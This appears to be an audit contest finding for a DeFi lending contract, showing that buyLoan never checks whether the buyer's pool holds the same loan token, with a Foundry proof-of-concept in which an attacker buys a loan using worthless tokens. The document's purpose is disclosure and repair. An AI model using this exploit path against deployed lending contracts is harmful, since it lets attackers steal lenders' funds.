20,000 USDC
View results
Submission Details
Severity: high
Valid

The buyLoan function does not check if the new pool deposited the same tokens as the old pool

Summary

In the buyLoan function which allows lenders to buy active loans from other lender, it is never checked if the new pool set the same token as the loanToken as the pool before did, only if there is enough of any token inside the new pool. This allows to buy a loan with a pool of worthless tokens.

Vulnerability Details

The following POC code shows the attack path, it can be implemented inside the current test folder of the repo.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TestERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract BuyingLoanWithWrongTokenTest is Test {
Lender public lender;
TestERC20 public loanToken;
TestERC20 public collateralToken;
TestERC20 public worthlessToken;
address public attacker = vm.addr(1);
address public user1 = vm.addr(2);
address public user2 = vm.addr(3);
function setUp() public {
lender = new Lender();
loanToken = new TestERC20();
collateralToken = new TestERC20();
worthlessToken = new TestERC20();
loanToken.mint(user1, 1000 * 10 ** 18);
collateralToken.mint(user2, 1000 * 10 ** 18);
worthlessToken.mint(attacker, 2000 * 10 ** 18);
}
function test_buying_loan_with_wrong_token() public {
// user1 creates a pool
vm.startPrank(user1);
loanToken.approve(address(lender), 1000*10**18);
lender.setPool(
Pool({
lender: user1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
})
);
vm.stopPrank();
// user2 takes a loan from the pool
vm.startPrank(user2);
collateralToken.approve(address(lender), 100*10**18);
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: lender.getPoolId(user1, address(loanToken), address(collateralToken)),
debt: 200*10**18,
collateral: 100*10**18
});
lender.borrow(borrows);
vm.stopPrank();
// user1 starts an auction to sell the loan
vm.startPrank(user1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.stopPrank();
vm.warp(block.timestamp + 1 days / 2);
// attacker creates a pool with worthless tokens and buy the loan with it
vm.startPrank(attacker);
worthlessToken.approve(address(lender), 2000*10**18);
lender.setPool(
Pool({
lender: attacker,
loanToken: address(worthlessToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 2000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
})
);
lender.buyLoan(0, lender.getPoolId(attacker, address(worthlessToken), address(collateralToken)));
vm.stopPrank();
}
}

Impact

Users are able to buy loans for free and therefore steal funds.

Tools Used

Manual Review, Foundry, VSCode

Recommendations

Check if the pool of the buyer and the loan to buy are about the same tokens.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!